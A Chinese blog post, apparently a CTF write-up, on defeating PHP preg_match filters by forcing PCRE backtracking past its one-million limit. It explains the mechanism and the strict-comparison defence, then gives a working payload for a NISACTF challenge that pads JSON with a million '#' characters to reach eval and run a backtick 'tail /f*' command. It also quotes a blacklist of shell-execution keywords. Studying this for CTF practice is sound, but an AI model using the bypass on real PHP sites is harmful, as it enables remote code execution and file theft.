当前位置:网站首页>PCRE绕过正则
PCRE绕过正则
2022-07-17 00:03:00 【Aiwin-Lau】
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
前言
提示:这里可以添加本文要记录的大概内容:
今天进行CTF刷题的时候,刷到了关于正则表达式贪婪匹配后进行回溯产生的绕过,记录一下。
提示:以下是本篇文章正文内容,下面案例可供参考
一、PCRE绕过的原理
正则表达式是一个可以被“有限状态自动机”接受的语言类。
有限状态自动机”,其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输入字串决定执行哪个状态的迁移。
而常见的正则引擎,又被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:
- DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
- NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
由于NFA的执行过程存在回溯,所以其性能会劣于DFA,但它支持更多功能。大多数程序语言都使用了NFA作为正则引擎,其中也包括PHP使用的PCRE库。
比如说:
<?php
function pcre($data){
return preg_match('/<\?.*[;].*/is', $data);
}假如传入$data=<?phpinfo();//aiwin 函数pcre进行匹配时,由于.*进行贪婪匹配,所以会匹配掉<?phpinfo();//aiwin 整个字符串,但是此时不对,因为正则表达式显示.*后还有字符; 所以NFA会开始进行回溯,每一步回溯一个字符,即第一步先回溯n,直到回溯匹配到; 一共回溯8步。
问题在于: PHP为了防止对正则表达式进行拒绝服务攻击,设置了pcre.backtrack_limit的配置,限制正则表达式的回溯次数:

查看回溯次数,默认上限为100万次,当回溯次数超过100万次,就会使preg_match函数返回false,说明此次正则匹配执行失败。
防御方法:要防御正则表达式的回溯次数溢出,将preg_match的结果使用强等于===匹配即可。
二、例题
1.[NISACTF 2022]middlerce
题目源码:
<?php
include "check.php";
if (isset($_REQUEST['letter'])){
$txw4ever = $_REQUEST['letter'];
if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
die("再加把油喔");
}
else{
$command = json_decode($txw4ever,true)['cmd'];
checkdata($command);
@eval($command);
}
}
else{
highlight_file(__FILE__);
}
?>1,题目从头开始进行正则表达式匹配,.*贪婪匹配后又匹配括号里的字符,最后再.*后结束
checkdata函数进行的是黑名单过滤,可以使用tail以及通配符*进行获取flag,过滤了
/\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i
2,代码虽然执行了eval函数,但是却不会将结果输出到页面,可以使用短标签代替echo的效果进行输出,<??>和<?=?>。<??>相当于对<?php>的替换。而<?=?>则是相当于<? echo>,<??>写法需要开启short_open_tag,<?=?>则是默认开启。

3,关键点在于使回溯次数超过100万次,返回false,利用脚本上传post数据:
data = '{"cmd":"?><?= `tail /f*`?>", "#":"' + "#" * 1000000 + '"}'其中.*会匹配掉整个字符串,但是此时不正确,因为后面括号应该还有字符,会进行回溯,传入一百万个#会使回溯次数上限,返回false绕过正则匹配。
边栏推荐
猜你喜欢

How typora inserts tables

【MariaDB】解决:ERROR 1045 (28000): Access denied for user ‘root‘@‘localhost‘ (using password: YES)

微信小程序session持有

(零七)Flask有手就行——初识数据库(Flask-SQLAlchemy)

使用Pytorch中的nn来实现线性回归(简洁实现)

Oracle Database 12c 参数文件(Spfile 和 Pfile)

Résolution de code aléatoire lors de l'insertion de valeurs chinoises dans la base de données MySQL

Oracle 数据库架构

mysql中的配置文件

Redis command
随机推荐
JSP basic grammar experiment
JSP基本语法实验
Which is the best bag grabbing tool (violent theft foreplay)
Mathematics 03 derivative and differential (to be supplemented)
Tool code
20210518-Cuda
pytorch index_select
The most beautiful yellow flower
Pytorch简单使用MINIST数据集
玩转CSDN编辑器
2021-4-7-求最大盛水量
mysql中的配置文件
20210512-递归公式
Résolution de code aléatoire lors de l'insertion de valeurs chinoises dans la base de données MySQL
Redis命令
torch中矢量的计算方式
三种激活函数(Relu,Sigmoid,tanh)与多层感知机
Introduction to MySQL DLJD Lao Du
mysql中的事务
必备基础:加签验签